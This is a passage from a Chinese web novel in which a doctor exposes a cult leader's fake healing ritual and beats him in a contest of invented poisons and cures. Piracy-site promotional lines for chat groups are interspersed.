把病态说成是恩赐,把折磨说成是修炼。 这套说辞,比单纯的骗子高明百倍,也可怕百倍,因为他给了绝望者一个扭曲的希望。 更因为他们手里,掌握着一些能害人的毒术。 第89章 药王赐你神腿?我断你此生残废! “李风!”山鬼念出下一个名字。 一个瘸腿男人拄着拐,激动得满脸通红,爬上了祭坛。 他跪在地上语无伦次,状若疯魔。 “药王大人!我的腿被机器绞了,洋医生说这辈子都完了!求药王赐我神力,让我重新站起来!” 药王冷笑:“凡人的血肉,不过是束缚灵魂的枷锁。断了,是好事。” 他拿起一根烧得通红的蛇形烙铁,缓缓走向男人。 “今天,我就以‘灵蛇真火’,为你重塑筋骨。你长出的,将不再是凡人之腿,而是一条……神腿!” “神腿?” 瘸腿男人愣住了,随即满眼狂热, “谢谢药王!谢谢药王!” “滋啦——” 烙铁再次印下,又是一阵撕心裂肺的惨叫和浓烈的焦糊味。 姜芷闭上了眼睛,不忍再看。 这哪里是在治病救人,分明是在用最恶毒的谎言,摧毁一个人最后的理智和希望。 那烙铁上,淬了“腐骨草”和“火蝎尾”的毒汁。 什么重塑筋骨,全是狗屁! 这毒素会持续烧灼神经,制造出力量回归的幻觉,同时却会从内部腐蚀血肉,加速坏死。 用不了三个月,这个男人仅剩的好腿,也将彻底烂掉。 这群人,打着“医道巅峰”的旗号。 干的却是草菅人命、伤天害理的勾当! 这是“医”这个字,最大的侮辱! 仪式还在癫狂中继续 一个接着一个。 所有新晋的成员,都排着队,满心欢喜地走上祭坛,接受那份痛苦虚假的恩赐。 姜芷冷眼旁观,她的手,一直放在口袋里,紧紧握着那根木簪子。 她在等陆向东的信号。 她知道,他一定在某个地方看着这里。 他一定在想办法。 终于,山鬼合上了名册,他把目光,投向人群中唯一鹤立鸡群的身影。 “各位同道!” 山鬼的声音陡然拔高。 “接下来,是今日仪式最神圣的环节!” 他转身,向药王深深鞠躬。 “药王阁下,属下为您寻来的那株‘上品何首乌’,已在此恭候多时!” 他手臂一抬,直直指向姜芷。 刷! 数百道目光,瞬间聚焦在姜芷身上。 姜芷的脸色,终于沉了下来。 真正的考验,来了。 两名黑衣护卫逼近,做出“请”的手势。 “姜医生,请吧。” 姜芷面无波澜,一步步踏上祭坛。 脚下的青石板还带着血腥和焦糊的气味,粘腻得令人作呕。 让她感到一阵生理性的不适。 她在距离药王三步之外站定。 不跪,不行礼。 就那么站着,清冷的目光,直视青铜面具后浑浊的双眼。 “大胆!见到药王,还不跪下!” “这女人是谁?好大的架子!” “不想活了吗!” 药王摆了摆手,沙哑的声音响起。 “有傲骨,才称得上是上品。轻易跪下的,不过是些不堪大用的凡胎罢了。” 他伸出枯手,想去触碰姜芷的脸。 姜芷眼神一凛,身形微侧,避开了他的触碰。 药王的手僵在半空,面具下的眼神第一次有了变化。 山鬼连忙上前恭维:“药王!她的医术神鬼莫测,是我平生仅见!对药理的见解,更是匪夷所思。属下认为,她就是上天赐给我们青囊阁的瑰宝!” 他飞快地将姜芷的种种事迹复述了一遍。 药王听完,眼中的光芒越来越亮,嘴里咂摸着两个字:“瑰宝……” 他绕着姜芷走了一圈,鼻子在空气中轻嗅。 “气血精纯,根骨清奇,天生的药香……不错,是株野生的上品‘何首乌’。” 他口中的“何首乌”,是青囊阁的黑话,指代那些拥有特殊医术或体质的人。 而姜芷,无疑是他们见过最顶级的一种。 “你可愿,拜我为师,继承我的衣钵,成为下一任‘药王’?”药王突然问。 这话一出,全场哗然。 就连山鬼,脸上都是震惊和疑惑。 药王的衣钵! 那可是青囊阁至高无上的权力! 就要给这个第一次见面的黄毛丫头? 一时间,他竟分辨不清,这是试探,还是认真的? 然而,姜芷却笑了,笑意清冷,带着一丝嘲弄。 “拜你为师?”她反问。 “你配吗?” 这三个字在山谷中炸响。 上百名新成员,几十个黑衣护卫,全都瞪大了眼睛,不敢相信自己的耳朵。 这个女人……她竟然说药王……不配? 一名手下脸色一沉,上前一步怒吼:“大胆刁妇!拿下她!把她的舌头割下来喂狗!” 几个黑衣护卫立刻就要动手。 “慢着。” 药王抬起枯瘦的手,制止了众人。 “药王阁下,这女人不知好歹,竟敢当众顶撞您……” 药王没理他们,青铜面具后的眼睛,露出了好奇。 “哦?说来听听,我如何不配?” 姜芷抱臂而立,清冷的目光扫过不远处那个还在因“神腿”而狂喜的瘸腿男人。 “就凭你那所谓的‘灵蛇真火’?” “不过是在烧红的烙铁上,淬了腐骨草和火蝎尾的毒汁。用神经毒素制造力量回归的假象,再用腐蚀性的毒汁从内里破坏血肉筋骨。” “不出三个月,他那条好腿,也会烂成一滩脓水。” “到时候,神腿没得到,倒是离不开轮椅了。” 轰! 这话比刚才那句“你不配”的杀伤力还大! 那瘸腿男人脸上的狂喜瞬间凝固,转为惊恐。 山鬼更是眼皮狂跳,这女人怎么会知道烙铁上的秘密! 姜芷没给他反应的时间,陡然拔高,继续输出。 “用低劣的毒术制造幻觉,用残忍的手段摧毁希望,还美其名曰‘医道巅峰’?” “简直是把‘医’这个字,按在地上摩擦!” “你这种货色,连给我当学徒提鞋的资格都没有。” “还想当我师父?” “笑话!” 全场鸦雀无声。 所有人都被姜芷这番话给震傻了。 他们眼中无所不能的药王,竟被一个黄毛丫头贬低得一文不值! 而且,她说得有鼻子有眼,让人心里发毛。 “你……你胡说八道!” “妖言惑众!” “药王阁下的手段岂是你能揣测的!” “呵呵。” 药王忽然笑了。 “好,好一张利嘴!” “看来,你对自己的医术,很自信啊。” 他缓缓踱步,手指在祭坛的石桌上轻轻敲击。 这女人的出现,已经动摇了下面人的信仰。 今日若不能当众将她的傲骨彻底碾碎,青囊阁的威严何在? 必须让她在最擅长的领域,输得体无完肤! 想到这里,药王的杀意已决。 “既然如此,光说不练假把式。” 药王停住脚步,声音陡然阴冷。 “借着今日入阁仪式,我也好久没活动筋骨了。不如,我们就在这祭坛上,当着众人的面,比试一场!” 他张开双臂,环视整个山谷。 “让你,也让所有人,心服口服!” 来了! 姜芷心中一定,这正是她想要的结果。 拖延时间,给陆向东创造机会! 她毫无惧色:“比试?可以啊。怎么比?划个道儿出来。” 这副老江湖的口吻,让山鬼听了都直皱眉头。 药王却很满意她的反应。 “很简单。” 他指向周围阴森的山林。 “就地取材!这满山的毒草,遍地的毒虫,都是我们的考题。” “我们各出三道题,比毒术,也比医术!” 姜芷欣然点头:“三局两胜,我输了,立马给你磕头拜师,任你处置!” 这话一出,所有人的目光,都聚焦在祭坛上那两个对峙的身影上。 一场关乎医道、毒术,乃至生死的较量,即将展开! 山鬼只觉得后颈发凉。 他既盼着姜芷能展露出通天本事,证明自己没有看错人。 又怕她真的把药王给比下去,那场面……他根本不敢想。 与此同时,山谷外的悬崖上。 第90章 第一局:三流毒药?你管这叫药王? 药王枯瘦的手指,指向山谷深处一丛不起眼的灌木。 “第一题,老夫来出。” 他阴恻恻地笑了。 话音刚落,他身形一晃,飘到灌木丛旁,摘下几颗紫黑色的浆果。 他又走到一旁的石缝,竟赤手伸了进去,再抽出来时,手里赫然多了一条通体乌黑、正疯狂扭动的毒蛇! “嘶嘶——” 黑蛇吐着信子,三角脑袋高高昂起。 在场不少人吓得头皮发麻,连连后退。 药王却面不改色,另一只手在地上随意一抓,捏碎了一只路过的黑色甲虫。 他将这三样东西,扔进一个石臼里,用石头粗暴地碾压。 很快,一滩墨绿色的粘稠毒液便成了形,散发着令人作呕的腥甜气。 “来人,牵一头羊来。” 一个黑衣护卫立刻牵来一头瑟瑟发抖的山羊。 药王用一根木刺蘸了毒液,在山羊腿上轻轻一划。 “咩——!” 山羊惨叫一声,起初只是原地踏步,但不过十秒钟,它四肢便开始剧烈抽搐,口中涌出带着黑丝的白沫。 轰然倒地,气绝身亡。 从下毒到毙命,不超过半分钟。 快! 狠! 在场的新成员们看得目瞪口呆,对药王的敬畏又深了一层。 药王很满意这种效果,他随手将那致命的木刺丢在地上,得意地笑着。 “这只是开胃菜。” 他拍了拍手。 两名护卫立刻从人群里拖出一个瑟瑟发抖的男人,正是之前那个被烙印后还在狂喜的瘸腿男人! 男人一看到那滩毒液和死去的山羊,吓得魂飞魄散,裤裆一热,竟当场尿了出来! “不!药王大人!饶命啊!我不想死!我……” 山鬼一脚踹在他背上,厉声喝道:“闭嘴!能被药王大人选中,当场试药,这是你三辈子修来的福分!是恩赐!懂吗!” 瘸腿男人被踹得趴在地上,瑟瑟发抖。 药王冷哼一声,根本不看他,而是将目光锁定在姜芷身上。 “我的题很简单。” 他指着那个男人,又指了指石臼里的毒液。 “我给你一炷香的时间,用这山谷里的东西,配出解药。” “一炷香后,我会用这毒,刺他。” “你的解药若能救活他,第一局,算你赢。” 药王顿了顿,面具后的眼神透出森然寒光。 “若是救不活……你便履行赌约,跪下,拜师!” 山鬼的心都提到了嗓子眼。 这根本是不可能完成的任务! 这三种毒物混合,变化繁多,别说解药,能辨认出来都算顶天了! 他看向姜芷,却发现她脸上没有丝毫慌乱,反而像是有点嫌弃? 姜芷蹲下身,看都懒得看那个快吓尿的男人,捡了一根枯枝拨了拨石臼里的毒液,放在鼻尖轻轻一嗅。 “乌梢蛇的蛇胆取错了时节,冬眠期的蛇,胆汁活性不足,毒性降了三成。” “七步倒的果浆,你碾得太碎,破坏了其中一种缓释毒素,导致毒性爆发太快,后劲不足。” “至于那只甲虫……” 姜芷嘴角嘲弄。 “黑金葬甲,以腐肉为食,本身无毒,但唾液中的‘尸解酶’,恰好能分解蛇胆与断魂果中两种最主要的神经毒素。” “你以为是三毒相加,强上加强,实际上却是二毒内耗,威力自减。” 她站起身,拍了拍手,下了最终结论。 “三种剧毒,配出了三流货色。” “就这?也好意思拿出来当考题?” 轰! 全场死寂! 山鬼更是感觉自己的认知被彻底颠覆! 她光是闻了一下,就将这秘制剧毒的成分,配伍,以及药理变化都分析得明明白白? 那瘸腿男人听到自己的生死竟系于一碗“三流货色”上。 又听到姜芷似乎有解法,求生的本能让他瞬间爆发,连滚带爬地扑向姜芷。 “神医!救我!求求你救救我!我不想死啊!” 姜芷一脚将他踢开,根本没搭理。 药王青铜面具下的眼神,头一次露出了惊讶! 他的炼毒秘方,竟然被一个黄毛丫头几句话就给扒了个底朝天,还被贬低得一文不值! 这简直是……对他毕生钻研的践踏! “你……你休要胡言!” 药王的声音都有点不稳。 “是不是胡言,试试便知。” 姜芷根本不给他辩驳的机会,转身就朝旁边走去。 她没有走远,就在祭坛附近,弯腰拔起几株枯黄的野草。 “这种毒,看起来猛烈,实则外强中干。解毒,都用不着找什么珍稀药材。” 她一边说,一边将手里的草递给旁边一个看傻了的黑衣护卫。 “这是‘牛舌草’,清热解毒,性寒,正好克制蛇胆的热毒。” “还有这个,”她又拔起一株,“‘地丁’,凉血消肿,专门破七步倒的血凝之毒。” “至于那‘尸解酶’嘛……”姜芷随手在石缝里抠了一小块青苔,“喏,用这个,加上一捧土,足矣。” 她把几样平平无奇,甚至可以说是烂大街的玩意儿丢在地上,指挥那个黑衣护卫。 “去,找块石头,捣烂,兑上山泉水。” 黑衣护卫彻底懵了,下意识看向药王。 这……这玩意儿能解毒? 这不是喂牲口的草吗? “愣着干什么?”姜芷催促道。 药王的面具下,呼吸已经变得粗重。 他死死盯着姜芷。 “照……她说的做!” 黑衣护卫不敢违抗,手忙脚乱地将那些草和土捣成一碗绿中带黄的泥浆水,那卖相,比刚才的毒药还让人没食欲。 姜芷接过那碗泥浆水,走到被吓瘫的瘸腿男人面前。 “现在,可以下毒了。” 她将解药放在一边,平静地看着药王。 这份自信,让药王眼皮狂跳。 事已至此,他没有退路,拿起木刺,在那男人腿上狠狠一划! 男人脸上的血色瞬间褪尽,惊恐地瞪大了眼睛,随即,和那头山羊一模一样的症状在他身上出现! 剧烈抽搐,口吐白沫! 就在他快要翻白眼时,姜芷动了。 她捏开男人的嘴,将那碗泥浆水粗暴地灌了进去。 所有人都屏住呼吸,死死盯着地上那个垂死挣扎的人。 一分钟过去了。 没反应。 “哼!装神弄鬼!” 一个新成员忍不住小声嘀咕。 药王的面具下,也透出一丝快意。 然而,就在此时! “咳!咳咳咳!” 那个男人突然剧烈地咳嗽起来,随即猛地一挺身,竟从嘴里喷出一大口黑色的污血! 那污血落在地上,滋滋作响,冒着白烟,散发着一股恶臭。 紧接着,在所有人惊恐的注视下,那个刚刚还离死不远的人,竟然停止了抽搐,呼吸也平稳了下来! 虽然虚弱,但明显已经活了! “活……活了!” “天哪!真的活了!” “用几根野草和一把土,就把药王大人的剧毒给解了?” 人群瞬间炸开了锅! 他们看向姜芷的眼神,已经从刚才的质疑,变成了彻头彻尾的敬畏和恐惧! 这不是医术! 这是神仙手段! 山鬼更是激动得浑身发抖,他看对了! 他真的为组织挖来了一个天大的瑰宝! 药王身形晃了一下。 一股森然的杀意从他身上弥漫开来。 他死死盯着姜芷,面具后的双眼不再有半分轻蔑。 反而带上一丝郑重。 “你……你到底是谁?!” 姜芷没理他,淡淡看了一眼旁边还在燃烧的线香。 “一炷香还没烧到一半,我赢了。” 她环视全场,目光清冷。 “现在,该轮到我出题了。” 大灰狼书源温馨提示:特殊原因,群被强制解散!新群重建,1群号(298732622)2群(1062268835)防失联,tg: /dahuilang888 ,这条消息会显示到明天中午! 第91章 我的毒,润物细无声 山谷上的崖壁。 陆向东目镜后的瞳孔猛地收缩。 那个丫头…… 她总有办法,让人的心脏为她悬到嗓子眼,又为她重重擂鼓。 旁边的李铁已经看傻了,嘴巴半张着,忘了合拢。 “团长……我,我没眼花吧?” “姜医生她……就用那几把喂牲口的烂草和一把土,把那老骗子的剧毒给破了?” 王柱在一旁用力地吞了口唾沫,声音干涩。 “何止!你没看姜医生那个眼神吗?” “根本瞧不起!绝对碾压!” 陆向东没有说话,只是压低了声音,再次询问。 “陷阱进度?” “报告团长!一号‘落石’陷阱已就位!二号‘火网’的起爆点也已设置完毕!预计十五分钟内,可完成对谷口退路的三号‘穿林’绞索封锁线!” 十五分钟。 陆向东的心猛地一紧。 丫头。 撑住。 …… 祭坛附近,气氛已从先前的狂热,转为一片死寂。 上百双眼睛,死死钉在姜芷身上。 姜芷环视全场,将所有人的表情尽收眼底。 她心里清楚,第一局,赢的不是医术,是攻心。 现在轮到她出题,目的不是赢,而是拖。 要是配出一种惊世奇毒。 这老家伙解不出,恼羞成怒之下掀了桌子,那自己就危险了。 必须是一种他能解,但又解得极其艰难的毒。 要让他绞尽脑汁,耗费心神,让他产生一种“只差一点就能成功”的错觉。 只有这样,才能将他牢牢钓住,拖到第三局。 也才能为陆向东,争取到更多的布控时间。 想通了这一点,姜芷看向面色阴沉的药王。 “该我了。” “放心,我不会像你一样,用些蛇虫鼠蚁,上不得台面。” 这话又是一记耳光,抽得药王身形都晃了晃。 姜芷没再理他,转身走下祭坛,步伐从容。 初冬时节,山谷萧瑟,草木大多枯黄。 她在祭坛周围信步搜寻。 所有人的目光都追随着她,想看她究竟要拿出什么惊世骇俗的毒物。 只见她走到一棵老树下,伸手掰下了一块被霜打过的树皮,放在鼻尖闻了闻,还挺满意。 接着,她又走到一丛枯萎的灌木旁,从上面摘了几颗干瘪的红色浆果。 最后,她在一块背阴的岩石上,用指甲小心翼翼地刮下些许淡黄色的苔藓。 就这? 全场哗然。 这几样东西,平平无奇,甚至可以说是毫无杀伤力。 跟刚才药王又是毒蛇又是毒虫的阵仗比起来,简直就是小孩子过家家。 山鬼的眉头紧锁,心脏又提了起来。 而药王的面具下,则透出一丝惊疑。 姜芷拿着这三样东西,回到祭坛上。 她寻了个干净石臼,将东西放入,用石杵不紧不慢地碾磨起来。 没有腥臭,没有黑绿色的汁液。 石臼里,很快出现了一滩红褐色的粘稠膏体。 散发着一股草木混合后的清香甜味。 “我的考题,跟你的不太一样。” “我这个人,不喜欢打打杀杀,有伤天和。” 姜芷扫过台下那群刚刚被烙印,还处于亢奋状态的新成员。 “你们当中,谁有常年咳嗽的毛病?喉咙里总像卡着东西,咳不出,咽不下的那种?” 人群里,一个面黄肌瘦的中年男人,下意识捂嘴咳了两声,迟疑地举起手。 “上来。”姜芷朝他招了招手。 男人畏惧地看了一眼药王,得到默许后,才哆哆嗦嗦爬上祭坛。 姜芷用一根枯枝,蘸了一丁点红褐色的膏体。 “我这副药,不叫毒药,我管它叫‘静寂之冬’。” 她把枯枝,轻轻点在男人手腕内侧的寸口脉上。 “它不会让你抽搐,也不会让你口吐白沫,更不会要你的命。” 话音刚落,诡异的一幕发生了。 男人原本还在压抑着咳嗽,喉咙里发出“嗬嗬”的声响。 可就在膏体接触到皮肤的瞬间,他所有的咳嗽声,戛然而止! 男人愣住了。 他下意识地想咳,可无论他怎么用力,喉咙里都发不出半点声音,一张脸因使劲而憋得通红。 台下众人看得目瞪口呆。 这是……治好了? 用毒药治好了咳嗽? 这是什么路数? 只有药王,面具下的瞳孔,在此刻狠狠一缩! 姜芷轻声解释着。 “这膏体里,有三样东西。” “被霜打过的‘寒心木’树皮,冬日里依旧不落的‘赤练果’果实,以及只生长在背阴岩石上的‘石肺衣’。” “这三样东西,单独拿出来,都是润肺止咳的良药,性情温和。” “但是,当它们按照七比二比一的比例混合,再通过人体体温激发……” 姜芷指着那个憋得快要断气的男人。 “它们就会形成一种强效的麻痹性神经毒素,瞬间让气管与支气管内的纤毛,完全停摆。” “他再也无法通过咳嗽,清理肺里的痰液和脏东西。” “用不了三天,他的肺,就会被自己分泌的粘液给活活淹死。” “到时候,他会清醒地感受着自己一点点窒息,却连一声救命都喊不出来。” 嘶—— 全场响起一片倒吸凉气的声音。 这哪里是药! 简直比见血封喉的毒药,还要残忍百倍。 那个中年男人已经吓得瘫软在地,双手死死抠着自己的脖子,满脸恐慌。 药王死死盯着那滩红褐色的膏体。 他做梦都没想到,几味性情温和的草药,竟然能配出如此阴毒的杀招。 这不是毒术! 这是医理和药理的极致运用。 是将“生”与“死”,玩弄股掌之上的手段。 姜芷缓缓转身,目光迎上药王的视线。 “药王阁下,轮到你了。” 她伸出两根手指。 “我给你两炷香的时间。” “你不但要解了他的毒,还要让他恢复咳嗽的能力。” “请吧。” 说完,姜芷退到一旁,双手抱臂,好整以暇地看着他。 祭坛上,只剩下惊恐的男人和陷入沉思中的药王。 新一轮的较量,开始了! 大灰狼书源温馨提示:特殊原因,群被强制解散!新群重建,1群号(298732622)2群(1062268835)防失联,tg: /dahuilang888 ,这条消息会显示到明天中午! 第92章 你用百毒救人,我用一根草打脸 两炷香点燃,插在祭坛的香炉里。 山谷的风,带着萧瑟的寒意,吹得那两缕青烟摇摇晃晃。 祭坛上,那个被姜芷下了“静寂之冬”的男人。 正痛苦地用双手抠着自己的脖子。 喉咙里发出“嗬嗬”的闷响,一张脸憋成了青紫色,眼看就要不行了。 所有人的目光,都聚焦在药王身上。 药王缓缓走到男人身边蹲下。 他没碰姜芷留下的药膏,枯瘦的手指先是掰开男人的眼皮,审视瞳孔,又探看舌苔。 最后,三指搭上男人腕脉,闭目凝神。 半晌,他才睁开眼,面具下的声音带着几分凝重。 “寒心木,赤练果,石肺衣……” “以温养寒,以平辅之,再借人体阳气为引,化三味良药为锁喉之毒……好!好一个阴毒的心思!” 药王站起身,嘴上说着“好”,但任谁都听得出咬牙切齿的味道。 山鬼站在一旁,心弦紧绷。 他清楚,药王阁下是真遇上对手了。 这女人的手段,已经不是毒,是道。 药王没有急于采药,而是在祭坛上踱步,显然在脑中飞速推演药方。 山谷里静得可怕,只能听到那个男人越来越微弱的喘息。 一炷香,烧掉四分之一。 药王猛地停住脚步,身形一晃,朝着山壁一处杂草丛生的角落飘去。 从里面揪出一株通体赤红,叶片边缘带着锯齿的植物。 “烈阳草!” 山鬼低呼,这东西药性霸道,碰一下皮肤都要起燎泡。 紧接着,他又在另一处石缝里,找到一条正在冬眠的青色小蛇。 一把捏住七寸,硬生生从蛇口里挤出几滴毒液,滴在一个石碗里。 最后,他抓了一把不知名的黑土。 三样东西被他粗暴地捣成一滩冒着丝丝热气的墨绿药糊。 “灌下去!” 两个护卫立刻上前,捏开那男人的嘴。 将那碗看起来就不好惹的药糊,硬生生灌了进去。 下一秒,男人非但没好转,反而全身剧烈抽搐,四肢拧成了麻花,眼白上翻! “呃……呃……” 喉咙里的闷响,变成了痛苦的呻吟。 失败了! 全场信徒一片哗然。 药王的面具下透出怒意。 竟然失手了! 山鬼额角渗出冷汗,第一炷香已燃过半。 “哼!” 一声冷哼,药王被彻底激起了凶性,再次冲向山壁。 这一次,他不再精挑细选,而是状若疯魔,这边拔一棵草,那边撬一块树皮,甚至从土里扒出几只冬眠的毒虫。 不到五分钟,一小堆光怪陆离的东西堆在他面前。 这一次,他没有再粗暴混合。 而是按照某种特定的顺序,将这些东西投入石臼,仔细研磨。 时而轻柔,时而刚猛,看得人眼花缭乱。 山鬼的心又悬了起来,阁下这是动了真格! 一碗颜色深不见底,散发着腥甜气息的药汁被调配出来。 “扎针!” 药王厉喝。 护卫立刻奉上针包。 药王拈起一根长针,看也不看,反手便刺入男人后颈的风府穴! 紧接着,天突、膻中、气海…… 转眼间,十二根银针,扎得男人跟个刺猬一样。 最后,药王才将那碗药汁,灌入男人嘴里。 时间,一分一秒过去。 第二炷香,即将燃尽。 就在众人以为药王将再次失败,颜面扫地时—— “咳!” 一声轻微的咳嗽,从地上的男人喉咙里传出。 “咳!咳咳!咳咳咳咳!” 男人猛地弓起身子,撕心裂肺地剧烈咳嗽,大口大口的黑痰被他呕出,酱紫的脸色慢慢恢复了一点血色。 他能呼吸了! 也恢复了咳嗽的能力! 成功了! “喔!!!” 人群爆发出惊呼,看向药王的眼神,再次充满狂热。 药王缓缓站直身体,呼出一口长气。 他转过身,得意地看着姜芷。 “黄毛丫头!你的手段,确实诡异!但在我的回龙九转汤面前,终究是小道!” “这一局,是我赢了!” 山鬼也激动得满脸通红,高声附和。 “恭喜药王!贺喜药王!神通广大,天下无双!” 就在这得意洋洋的气氛中,姜芷清清冷冷,还带着点嫌弃的声音,幽幽响起。 “用了七种草药,三种毒虫,外加十二针封穴,才勉强解开一个润肺膏引发的‘假死’症状。” 姜芷抱着手臂,慢悠悠走到祭坛边,抬脚踢了踢旁边石缝里长出来的一株杂草。 “药王阁下,您是不是忘了,霜打的寒心木,寒性会内敛。” “想解开它,只需要用同样被霜打过的‘阳藿香’,用明火燎一下,激发纯阳之气,兑上一点无根水,一喝就好。” 药王身体顿时僵住。 姜芷满脸嘲弄,继续说。 “前后不用一分钟,连银针都省了。” “你非要搞这么大阵仗,不知道的,还以为你在做法事超度他呢。” “噗。” 悬崖上,负责观察的王柱一个没忍住,差点笑了出来,赶紧死死捂住嘴。 祭坛周围,瞬间鸦雀无声。 所有人都傻了。 他们看看姜芷脚边那株毫不起眼的杂草,又看看地上那一大堆被药王用过的药渣和虫子尸体。 虽然听不懂什么寒性阳气的,但他们听懂了一件事。 这女人的意思是,药王他……舍近求远,用杀牛的刀,去杀了一只鸡? 还杀得满头大汗,差点超时? 药王的身躯,剧烈颤抖起来。 他猛地低头,死死盯着那株被姜芷踢过的“阳藿香”。 几秒后,一股滔天的羞辱感,从他身上爆发出来! 他知道,这丫头说的是对的! 那是返璞归真,最简单,也最高明的解法! 他钻研了一辈子奇毒秘药,满脑子都是用繁复克制繁复,竟完全忘了最根本的阴阳生克之理! 他赢了,但又好像输得一败涂地! “好……很好!”药王寒声说。 姜芷完全不在意,拍了拍手。 “一比一,平局。” “药王阁下,别气馁,还有最后一局。” 她环视全场,目光最终落在那些被当做“药人”,关在笼子里的无辜者身上,眼神冷了下来。 “这最后一局,咱们玩点大的,敢不敢?” 大灰狼书源温馨提示:特殊原因,群被强制解散!新群重建,1群号(298732622)2群(1062268835)防失联,tg: /dahuilang888 ,这条消息会显示到明天中午! 第93章 死人作赌,从石头里放出来 姜芷一句话,整个山谷的热潮,都冷了下来。 玩点大的? 怎么个大法? 药王身体那细微的颤抖停了下来,一双眼穿透面具,死死锁住姜芷。 “你想怎么玩?” 姜芷转过身。 她的目光,缓缓扫过那些囚笼。 笼中,是一张张绝望的脸。 男女老少,形容枯槁,眼神麻木死灰。 可当她的视线掠过时,那死灰中,迸出了一点希望。 他们看懂了。 这个年轻的女人,正在用他们听不懂的方式,拿捏着药王的命脉。 “最后一局,很简单。” 姜芷收回目光,重新看向药王。 “用他们,当赌注。” 一石激起千层浪! 山鬼脸色微变:“你疯了!那些试验品……每一个都缠着数年无解的奇症,有些甚至已经不能算是人了!” “对,我知道。”姜芷淡淡接话,“所以,才叫玩点大的。” 药王没出声,面具后的目光,陷入思索。 姜芷抱起手臂,继续加码。 “赌注,自然要配得上场面。” “我赢,笼子里所有的人,全部释放。” “哗——” 这句话让笼子里的人,瞬间骚动起来! “放了我们……” 一个中年男人疯了一样抓住铁栏杆,大声嘶吼。 “救救我的孩子!求求你,救救我的孩子啊!” 一个母亲抱着怀中骨瘦如柴的孩童,隔着笼子,对着姜芷的方向拼命磕头,额头砸在泥地上,砰砰作响。 药王冷哼一声,声线阴寒。 “那你输了呢?” 姜芷笑了,清清冷冷。 “我输了,任你处置。” “不只是拜你为师,奉你为主。” “我脑子里所有的医经、药方、毒典,我会一字不差,亲手默写出来,全部给你。” 药王的瞳孔骤然收缩! 青囊阁穷尽心力,网罗天下,为的是什么? 不就是那虚无缥缈的医道巅峰! 而现在,一个活着的传承,移动的宝库,就站在他面前! 只要赢这一局! “好!” “我跟你赌!” 药王猛地一挥手,声嘶力竭。 “为了让你死心,这最后一局的题目,你来出!从这些废物里,你随便挑!只要你能治好,就算你赢!” 他有这个底气。 那些“药人”,全是他穷尽心血的“杰作”,身上的病症早已超脱常理,生死只在他一念之间。 他就不信,区区一个黄毛丫头,真能逆天! 悬崖上,陆向东握枪的手背,青筋暴起。 姜芷这是在用自己的命,给他的行动争取时间! 这个赌注,太大了! “团长,最后的封锁点架设完毕!” 王柱压低声音报告。 陆向东的下颌线紧绷,冷声下令:“所有人,子弹上膛。等我命令。” 山谷中,姜芷的目光扫视一圈,最终落在在最角落的一个小铁笼上。 笼子里,蜷着一个瘦小的身影。 一个男孩,看着不过五六岁,全身皮肤是诡异的灰黑色,质感如岩石。 他蜷在那里,一动不动,甚至感觉不到呼吸的起伏。 “就他吧。” 姜芷抬手指着那个孩子。 山鬼看到那孩子,忍不住凑到药王身边:“药王阁下,是那个‘石化童’……一年前就已经断气了,是个活死人……” 药王发出一阵大笑:“好!好胆魄!你竟敢挑最硬的骨头来啃!” “丫头,你可知他是什么症状?” “他中的,是我穷尽十年心血炼制的‘石肤散’!” “中毒者,血肉会从内到外一寸寸石化!最终变成一尊没有生命的人形石像!这个过程,不可逆!” “一年前,他就已经石化,气息全无。” “我不过是每日用秘药吊着他一口心脉,让他不至于腐烂罢了!” “你要救一个,死了一年的人?” 药王的声音,让刚刚燃起希望的囚徒们,脸色全都黯然。 救一个死人? 这怎么可能! 所有人的目光,都汇聚在姜芷身上。 她缓缓走到铁笼前蹲下,隔着铁栏杆,静静看着里面的孩子。 许久,她才轻声开口。 “谁说,他死了?” “他只是,被关在了自己的身体里。” “这最后一局,我不是救人。” “而是把他从石头里,放出来。” 这话让所有人都懵了。 从石头里放出来? 这是什么疯话? 药王先是一愣,随即笑得更加张狂:“好!说得好!我倒要看看,你怎么把他从石头里‘放’出来!” 他大手一挥,两名护卫立刻上前,用一把铜钥匙,打开了锈迹斑斑的铁笼。 “嘎吱——” 刺耳的开锁声,磨着所有人的耳膜。 护卫将那个“石化童”抬了出来,动作生硬,与其说在抬人,不如说在搬运一尊小石像。 他们将孩子放在祭坛中央的石板上,发出“砰”的一声闷响。 所有人的心,都跟着狠狠一抽。 姜芷走到祭坛中央。 她没有立刻动手,而是先绕着孩子走了一圈,审视着他身体的每一处细节。 灰黑色的皮肤,遍布着细微的石质纹理。 四肢以一种怪异的姿势蜷缩着,五官模糊。 这哪里还是个人。 “三炷香为限。” 药王一副胜券在握的样子,“香燃尽,你若不能让他开口说话,站起来走路,就算你输!” 他故意提高难度。 不仅要活,还要恢复机能。 这对一个身体石化的“死人”而言,无异于痴人说梦! 山鬼立刻取来三炷香,点燃一根,插在香炉里。 青烟升腾,死亡的倒计时,开始了。 姜芷对这一切置若罔闻。 她蹲下身,伸出两根手指,轻轻搭在孩子的手腕上。 入手处,冰冷坚硬,完全没有活人的温度和弹性。 她闭上眼,凝神静气。 所有人都屏住了呼吸,连那些囚徒,都死死盯着祭坛,大气不敢出。 半晌,姜芷睁开眼,眉心微蹙。 “果然……” 她低声自语。 看上去,脉搏空空如也。 确实,已经停了。 然后,在死寂的脉象之下,姜芷远超常人的感知,还是捕捉到了一丝若有似无的气。 药王的“石肤散”确实阴毒。 它并非单纯的毒,更像是一种强制扭曲人体构造的邪术。 这东西阻断了全身气血,让肌理极速纤维化、钙化,最终将一个活生生的人,变成一具维持着基本生命特征的“石像”。 这个阴毒的法子近乎天方夜谭,可却让这药王摸索出了几分门道。 姜芷观察许久,总算有了一些发现。 她忽然开口:“药王阁下,你这‘石肤散’,缺了最关键的一味主药吧?” 第94章 神仙难救?用羊粪打脸 药王的身形有了一瞬的僵硬。 姜芷站起身,从容地拍了拍手上的灰尘。 “我猜,你这石肤散的方子,应该需要类似‘地脉髓’的矿物作为引子,它能彻底凝固神经传导,让中毒者在完全无知无觉中化为顽石,成为真正的活死人。” “可惜,地脉髓只在北方有记载,你找不到。” “只能用毒性相似,霸道程度却差了十万八千里的‘铁胆石’代替。” 姜芷的声音冷了下来。 “铁胆石能锁住他的身体,却锁不住他的大脑皮层。” “所以,你配制出来的石肤散,只是个残次品,他并没有死。” “这一年来,他的意识清醒,能感受到自己的皮肤、肌肉,一点点变成石头。” “你让他,亲身体验了被活埋进一尊石像里的全部过程。” “对不对?” 姜芷每说一句,药王的身体就震颤一分。 到最后,他面具下的眼神,已经从贪婪和自得,变成了惊骇。 这个秘密,她怎么会知道! 